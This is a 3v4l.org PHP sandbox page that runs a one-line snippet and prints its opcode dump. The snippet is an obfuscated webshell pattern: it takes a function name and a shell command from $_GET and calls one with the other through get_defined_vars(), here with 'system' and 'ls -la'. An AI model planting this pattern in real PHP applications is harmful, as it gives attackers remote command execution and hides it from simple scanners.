3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_GET['a']="system"; $_GET['b']="ls -la"; foreach(get_defined_vars() as $x=>$y)$y[a]($y[b]); ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 9, Position 2 = 20
Branch analysis from position: 9
2 jumps found. (Code = 78) Position 1 = 10, Position 2 = 20
Branch analysis from position: 10
1 jumps found. (Code = 42) Position 1 = 9
Branch analysis from position: 9
Branch analysis from position: 20
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 20
filename:       /in/dNud6
function name:  (null)
number of ops:  22
compiled vars:  !0 = $y, !1 = $x
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   FETCH_W                      global              $2      '_GET'
          1        ASSIGN_DIM                                               $2, 'a'
          2        OP_DATA                                                  'system'
    3     3        FETCH_W                      global              $4      '_GET'
          4        ASSIGN_DIM                                               $4, 'b'
          5        OP_DATA                                                  'ls+-la'
    4     6        INIT_FCALL                                               'get_defined_vars'
          7        DO_ICALL                                         $6      
          8      > FE_RESET_R                                       $7      $6, ->20
          9    > > FE_FETCH_R                                       ~8      $7, !0, ->20
         10    >   ASSIGN                                                   !1, ~8
         11        FETCH_CONSTANT                                   ~10     'a'
         12        FETCH_DIM_R                                      ~11     !0, ~10
         13        INIT_DYNAMIC_CALL                                        ~11
         14        CHECK_FUNC_ARG                                           
         15        FETCH_CONSTANT                                   ~12     'b'
         16        FETCH_DIM_FUNC_ARG                               $13     !0, ~12
         17        SEND_FUNC_ARG                                            $13
         18        DO_FCALL                                      0          
         19      > JMP                                                      ->9
         20    >   FE_FREE                                                  $7
    6    21      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.76 ms | 1395 KiB | 15 Q